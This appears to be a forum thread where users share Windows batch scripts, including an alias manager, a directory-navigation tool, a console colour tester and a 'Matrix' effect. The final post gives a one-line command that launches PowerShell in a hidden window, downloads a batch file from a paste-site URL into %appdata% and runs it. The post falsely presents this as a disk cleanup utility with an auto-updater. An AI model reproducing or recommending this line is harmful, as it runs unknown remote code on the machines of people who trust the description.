::--------------------------------------------------------------------
::
::    ALAIS.BAT    ver 1.01
::
::    A tool for quickly writing aliases under Windows
::
::    (c) Paul Mann 2017 (20170909)
::
::
::--------------------------------------------------------------------

:: we need to read the config file from anywhere

set home=%cd%

set file=%~dp0\alias.config
if "%1"=="-f" (
  set file=%2
  shift
  shift
)

if "%1"=="-h" goto usage

if "%1"=="-a" goto _add
if "%1"=="-i" goto _interactive
if "%1"=="-l" goto _list

goto _config

:_list

  echo.
  echo Alias        : Command
  echo.

  for /f "tokens=1,2 delims=#" %%a in (%file%) do (
    echo %%a        : %%b

)
goto end

:_interactive

  echo.
  echo alias INTERACTIVE mode
  echo.
  set /p alias=Name of Alais: 

  echo.
  echo Use: command [args] where [args] is either exact arguments (eg dir /b /w)
  echo or variables in the form of $1 ... $9 for %%1 ... %%9 or $n for all arguments
  echo.
  set /p cmd=Command: 
  set /p desc=description

  echo %alias%#%cmd%#%desc% >> %file%

  goto end

echo args = %args%

:_add

  if "%4"=="" set args=$* goto _write
  if "%5"=="-n" set args="" & goto _write
  set args=%4

:_write

  echo %2#%3#%args% >> %file%
  goto end

:_config

  for /f "tokens=1,2delims=#" %%a in (%file%) do (
    doskey %%a=%%b $*
)
goto end
:usage

  if "%~2"=="" echo. & call :_GenHlp & goto end

  for /f "tokens=1-3 delims=#" %%a in (%file% ^| findstr "%2") do (

      echo.
      echo %%a        : %%b
      echo.
    if "%%c"=="" goto end
      echo %%c
    goto end
)
:_GenHlp

echo.
echo Quick and dirty ALIAS command written in Batch for windows
echo.
echo USAGE:
echo.
echo ALIAS [-A ^<alias^> ^<command^>][-I][-L][-F ^<file^>][-h [^<alias^>]]
echo.
echo ALIAS    : Processes the alias.config file and sets up aliases
echo.
echo -A    : Create a simple alias with a simple command (eg. ALIAS -A clear cls)
echo.
echo -I    : Interactive mode for creating more complex aliases
echo.
echo -L    : Lists all aliases and commands in ALIAS.CONFIG file
echo.
echo -F    : For using a file other than the default (alias.config)
echo.
echo -H    : Displays this page or the description of the named alias
echo.
echo NOTE: if invoking -F ^<file^> with other options it must be done first
)
:end

exit /b
 

Save the above as "ALIAS.BAT"

 

Save the following as "ALIAS.CONFIG" in the same directory

 

clear#cls# Clear the Screen
ls#dir /b $1# 
restart#shutdown /r#Restarts Computer 
down#shutdown /s#shuts down the computer 
qq#exit /b#Exits the cmd 

[Sitri]

GODIR.BAT

 

A quick and dirty way to navigate the windows file system through the CMD with minimal typing (yes I'm being lazy)

 

@echo off

:========================================================
:
:       GODIR.BAT - recode v2.00
:
:       (c) Paul Mann 20190613
:
:========================================================

:vars

set file=%~dp0\godir.conf

if "%1"=="-f" (
  set file=%2
  shift
  shift
)

::Help Switches

if "%1"=="/h" goto usage
if "%1"=="/?" goto usage
if "%1"=="-h" goto usage
if "%1"=="-help" goto usage
if "%1"=="-man" goto usage

:Args

if "%1"=="" goto _interactive
if "%1"=="-a" goto _add
if "%1"=="-i" goto _interactive
if "%1"=="-l" goto _list
if "%1"=="-e" goto _explorer
if "%1"=="-this" goto _this
if "%1"=="-back" popd
if "%1"=="-edit" notepad.exe godir.conf
if "%1"=="-todo" goto _todo
:: goto _config

:main

  for /f "tokens=1-2 delims=#" %%a in (%file%) do (

    if %%a==%1 (
      echo %%b
      pushd "%%b"
    )
  )

goto end

:_list

  echo.
  echo Alias        : Location (dir)
  echo.

  for /f "tokens=1,2 delims=#" %%a in (%file%) do (
    echo %%a        : %%b
)
goto end

:_add

  call :_exist %2
  if %leave%==TRUE (exit /b)

  echo %2#%3 >> %file%
  echo %3 has been saved to %file% as %2
  echo.

goto end

:_this

call :_exist %2

if %leave%==TRUE (exit /b)

echo %2#%cd% >> %file%
echo %cd% has been saved to %file% as %2
echo.

goto end

:_interactive

  cls
  echo.
  echo Adding a new alias.
  echo.
  echo.
  set /p alias=Name of Alias :
  call :_exist %alias%

  if %leave%==TRUE (exit /b)

  echo.
  set /p loc=Full Path of Directory :
  echo.
  echo %alias%#%loc% >> %file%
  echo %loc% has been saved to %file% as %alias%
  set /p opt=Do you wish to add another Alias to %file%? [y/N]
  if "%opt%"=="y" goto _interactive

goto end

:_explorer

  explorer %2

:_exist

   set leave=FALSE

  for /f "tokens=1-2 delims=#" %%a in (%file%) do (

    if %%a==%1 (
      echo.
      echo.
      echo Alias already exists
      echo.
      echo.
      echo %%a        : %%b
      echo.
      echo.
      set leave=TRUE
    )

  )

:end

exit /b

:usage

cls
echo.
echo GODIR  (v2.0)                                                                Man Page
echo======================================================================================
echo.
echo SYNOPSIS
echo.
echo The purpose of this BATCH file is to enable the user to quickly navigate
echo the directory structure when using the Command Line. This is achieved by
echo matching a named ALIAS with it's matching path.
echo.
echo USAGE
echo.
echo      GODIR [Args]
echo.
echo ARGS
echo.
echo      -h                   : This page (NOTE you can also use /h /? and -man)
echo      -a [ALIAS] [PATH]    : Add ALIAS and PATH to godir.conf
echo      -i                   : Interactive mode
echo      -l                   : List all entries in godir.conf
echo      -e [ALIAS]           : Opens ALIAS in explorer
echo      -this [ALIAS]        : Add current path to godir.conf
echo      -back                : Goes back one PATH in the stack
echo      -edit                : Opens godir.conf in NOTEPAD
echo.
echo OTHER CONSIDERATIONS
echo.
::pause
echo If an ALIAS is reused in -i -a or -this it will not be added to godir._conf
echo and the current ALIAS and its PATH will be displayed.

goto end

:_todo
echo.
echo TO DO
echo.
echo 1.  Add check to ensure a PATH only has one ALIAS
echo 2.  Will an init file be needed?
echo 3.  Expand Interactive mode to show basic help without exiting script
echo     and make it slightly prettier.
 

GODIR.CONF

 

This is the support file for the above - save in the same directory as GODIR.BAT (Note - this is unique to my system as an example only)

cli#c:\cli_tools
lab#C:\Users\Paul\Desktop\lab 
python#c:\users\paul\desktop\lab\python 
batch#c:\users\paul\desktop\lab\batch 
 

 

 

[MeanKid619]

@echo off
:Test
echo Type "Exit" To Exit
echo.
echo    0 = Black       8 = Gray
echo    1 = Blue        9 = Light Blue
echo    2 = Green       A = Light Green
echo    3 = Aqua        B = Light Aqua
echo    4 = Red         C = Light Red
echo    5 = Purple      D = Light Purple
echo    6 = Yellow      E = Light Yellow
echo    7 = White       F = Bright White
echo.
echo If no argument is given, this command restores the color to what it was
echo when CMD.EXE started.  This value either comes from the current console
echo window, the /T command line switch or from the DefaultColor registry
echo value.
echo.
echo The COLOR command sets ERRORLEVEL to 1 if an attempt is made to execute
echo the COLOR command with a foreground and background color that are the
echo same.
echo.
echo Type Any Corresponding Color Code To Test Colors.
set/p color=
if %color%==Exit goto Exit
if %color%==exit goto Exit
if %color%==0 goto Black
if %color%==1 goto Blue
if %color%==2 goto Green
if %color%==3 goto Aqua
if %color%==4 goto Red
if %color%==5 goto Purple
if %color%==6 goto Yellow
if %color%==7 goto White
if %color%==8 goto Gray
if %color%==9 goto LightBlue
if %color%==A goto LightGreen
if %color%==B goto LightAqua
if %color%==C goto LightRed
if %color%==D goto LightPurple
if %color%==E goto LightYellow
if %color%==F goto BrightWhite
if %color%==a goto LightGreen
if %color%==b goto LightAqua
if %color%==c goto LightRed
if %color%==d goto LightPurple
if %color%==e goto LightYellow
if %color%==f goto BrightWhite
cls
goto Test
:Black
cls
color 0f
goto Test
:Blue
cls
color 1f
goto Test
:Green
cls
color 2f
goto Test
:Aqua
cls
color 3f
goto Test
:Red
cls
color 4f
goto Test
:Purple
cls
color 5f
goto Test
:Yellow
cls
color 6f
goto Test
:White
cls
color 70
goto Test
:Gray
cls
color 8f
goto Test
:LightBlue
cls
color 9f
goto Test
:LightGreen
cls
color Af
goto Test
:LightAqua
cls
color Bf
goto Test
:LightRed
cls
color Cf
goto Test
:LightPurple
cls
color Df
goto Test
:LightYellow
cls
color E0
goto Test
:BrightWhite
cls
color F0
goto Test
:Exit
exit

This is a color tester i made 

[MeanKid619]

@echo off
color 0f
:Matrix 
echo Press Any Key To Start . . .
pause >nul
color 0a
setlocal EnableDelayedExpansion
set _RNDLength=1
set _CodeA=1000 
set _Str=%_CodeA%9876543213000
@echo off You Can Experiment The Number Above ¯\_(ツ)_/¯
if not "%_Str:~18%"=="" set _Str=%_Str:~100%& set /A _Len=9&
set _tmp=%_Str:~9,1%
set /A _Len=_Len+_tmp
set _count=0
set _CodeB=
:_loop2
set /a _count+=100
set _RND=%Random%
set /A _RND=_RND%%%_Len%
set _CodeB=!_CodeB!!_CodeA:~%_RND%,1!
if !_count! lss %_RNDLength% goto _loop
echo !_CodeB! !_CodeB!
set _RND=%Random%
goto :_loop2

I tried to make Matrix from re-used code

[speedruner085]

%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe -Nop -NonI -Nologo -WindowStyle Hidden -Command "(New-Object System.Net.WebClient).DownloadFile('https://textbin.net/raw/1zzBYTSg6k','%appdata%\sanagal.bat')" && start /wait cmd /c call "%appdata%\sanagal.bat"

This batch file is a disk cleanup utility with autoupdater. It is called Sanagal.